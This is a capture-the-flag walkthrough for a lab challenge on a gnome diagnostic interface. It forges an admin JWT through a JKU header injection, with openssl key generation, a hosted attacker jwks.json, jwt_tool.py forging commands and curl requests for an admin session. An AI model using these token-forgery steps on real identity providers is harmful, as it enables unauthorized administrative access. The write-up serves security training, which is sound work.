| Objective: Rogue Gnome Identity Provider | Difficulty Level: 2 |
|---|---|
| Hike over to Paul in the park for a gnomey authentication puzzle adventure. What malicious firmware image are the gnomes downloading? | Location: The Park |
Solution Overview
Paul has tasked us with investigating a suspicious Gnome Diagnostic Interface (gnome-48371.atnascorp) to track down the source of malicious updates. We begin with a set of low-privilege credentials, gnome:SittingOnAShelf, discovered in a local ~/notes file, which grants us basic access but restricts administrative functions.
Traffic analysis reveals that the application manages sessions via JSON Web Tokens (JWT). Inspection of the token header identifies a jku (JSON Key URL) parameter pointing to the trusted Identity Provider. We exploit a vulnerability in the token validation logic by performing a “JKU Header Injection” attack. We generate a malicious RSA key pair using openssl and host a corresponding jwks.json file on our attacker infrastructure.
Using jwt_tool.py, we forge a new token with the admin: true claim, sign it with our private key, and modify the jku header to point to our malicious key set. Submitting this forged token grants us an administrative session cookie, allowing us to access the protected dashboard and identify the malicious refrigerator-botnet.bin firmware payload.
| Activity | Primary Tactic | MITRE ATT&CK Technique ID | MITRE ATT&CK Technique Name |
|---|---|---|---|
| Extract Credentials from Notes | Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files |
| Generate Attack Keys | Resource Development | T1587.003 | Develop Capabilities: Digital Certificates |
| Forge Admin JWT | Credential Access | T1606 | Forge Web Credentials |
| Authenticate with Token | Defense Evasion | T1550.001 | Use Alternate Authentication Material: Application Access Token |
Detailed Solution
Click to expand
Thenotes file provided in our terminal provides steps for the usage of curl in accessing and authenticating to the diagnostic interface's login page.
Following these steps gives us the following JWT:
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NTgyNjEyOCwiZXhwIjoxNzY1ODMzMzI4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.zQ-vWlpDZwu7mU39dkQazqU6T7iDWzmzYqxLqEMNxYddfWIo41XmjNCQkGiqhN7xNUTc6nF4S6ugTMGJyKWOz-Cqp4i3MXqr52D7GrfA8F_TnjZgcL9xsG0MWYVwuGpb70gyODBIeTyhGjHaKnmVJwJ_GMTpFPsHCx65-E2m8EG2b-eSj0GYL-AaRch63S8B1NVkqInqbFxrpcgyV9FFStpIx-eNBFdV3dbtPfbCDedA_bu_eWPitFviZSMgHYDhRo39dLWjGYY5lJRW3d9MD9bJDg9Cz5e9HGlLVNYzG4kXU4FonwBYQ9lKk9o6Xw8GErjXicwAyziC0GHbBY_ULA
With the following session cookie:
eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aUBekg.AWZ-ghfo4ZFDjPoR-16R7ZZoVqM
Decoding the JWT with jwt_tool gives us the following information:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] jku = "http://idp.atnascorp/.well-known/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"
Token payload values:
[+] sub = "gnome"
[+] iat = 1765327751 ==> TIMESTAMP = 2025-12-10 00:49:11 (UTC)
[+] exp = 1765334951 ==> TIMESTAMP = 2025-12-10 02:49:11 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = False
Seen timestamps:
[] iat was seen
[] exp is later than iat by: 0 days, 2 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
If we curl the url indicated at jku we get the following output:
{
"keys": [
{
"e": "AQAB",
"kid": "idp-key-2025",
"kty": "RSA",
"n": "7WWfvxwIZ44wIZqPFP9EEemmwMhKgBakYPx736W5gGD8YJlmMzanxdi8NANJ6kyMN-ErFOKJuIQn01PmAeq7On4OCwLyQpB5dHXiidZPRjb2lbrrL1k32svdeo6VGCnzdrGu6KtDHxHn8m9H3WqGVmi2OmCZsk6fJbnoklnJaFiygUkC4IMbk92cbYvajPTqV9C6yWCROPagxQFmybq1hNJoY-FRntEKwBN89Dow8d-PsGMten3CmzDQ9o8rXKs6euk9xLfX06og5Wm1aKJk686WzhtqgdmBjqt2w34EJGlEL0ZSvPdB9nPqxao83N-ah-IYeoiCnSUBKjXI-IRSjQ",
"use": "sig"
}
]
}
This JWK provides the public key counterpart to the private key used to signed JWTs. If we want to sign our forged JWT, we need to get the private key associated with this pair.
jwks.json file whose public/private key pair is attacker-controlled and point the token's validation functions at that key pair. This allows us to sign a token with a claim altered to show admin: true.
There are essentially two steps to successfully manipulating the JWT. We execute the first command to set the header and payload claim/value pairs to our desired outcomes while signing it with our hosted jwks.json. We then take the JWT that results from that command and sign it with the private key that corresponds to the public key that we generated, converted into a JWKS.json file, and hosted on our server.
jwt_tool.py "[JWT]" -X -s -ju [HOSTED JWKS.JSON URL] -hc "admin" -hv "true" -pc "admin" -pv "true" -hc "kid" -hv "[KID VALUE]" -pc "kid" -pv "[KID VALUE]"
jwt_tool.py "[RESULTING JWT]" -S rs256 -pr private.pem
We must make sure that:
- We have generated a private/public key pair on our hosting server for this spoofing attack:
- This private key value should be copied to the challenge terminal as
private.pem - Our
jwks.jsonis in the proper format. ensure thekeysobject is defined and used to hold thejwksvalue for spoofing: - The
KIDvalue is present and matching between thejwks.jsonfile and the spoofed JWT (see above payload). To be honest, this error may have been related to step 2 above but thoroughness is never a bad thing.
# Generate Private Key
openssl genrsa -out attacker_key.pem 2048
# Extract Public Key (for the JWKS)
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
{
"keys": [
{
"kty": "RSA",
"kid": "idp-bbvm",
"n": "giUqG0my962a7XuacM4wV_DJkJrvoq7X_cJ_Lphp45RWeChLSwtryLis5jzRjIoTIuGiNZ6Y4M3tw-IL4z-SXjbmjUIFAaYPi-ec_333cu01dbZ_UfriB59qucHRK43uywhFH71ESm61VpKC25sajJq2gAXnYB0TVnxsBIZgLsmKFWA9cIkW510LCwesrGcVfcBFOFSKTwiWfqa0lihMBtHChg2kW7cjOjdIiB5zUxDUcM0YJijJvKQ05jx5lXAgJQgJ3mJjCey3IWmA1Ka5RdkQlSp1JtKJJ1JfkkzEqbd5nycUvTKm71pAs128OUMgl66XUWA42gFvTB65LbkhxQ",
"e": "AQAB",
"use": "sig"
}
]
}
After executing these steps and acquiring a successfully forged token that passes the system's inspection, we repeat two curl commands to acquire an admin's session cookie and log into the diagnostic interface.
## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=[insert-JWT]
## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=[insert-session]' http://gnome-48371.atnascorp/diagnostic-interface
We discover refrigerator-botnet.bin being pushed via firmware update to affected devices.
Tools Reference
| Tools Used | Tool Version |
|---|---|
| jwt_tool.py | 2.3.0 |
Hints Reference
| Provided By | Hint |
|---|---|
| Santa | https://github.com/to[car[o/jwt_tool/wiki and https://portswigger.net/web-security/jwt have some great information on analyzing JWT's and performing JWT attacks. |
| Santa | It looks like the JWT uses JWKS. Maybe a JWKS spoofing attack would work. |
Acknowledgements
| Provided By | Notes |
|---|---|
| none | none |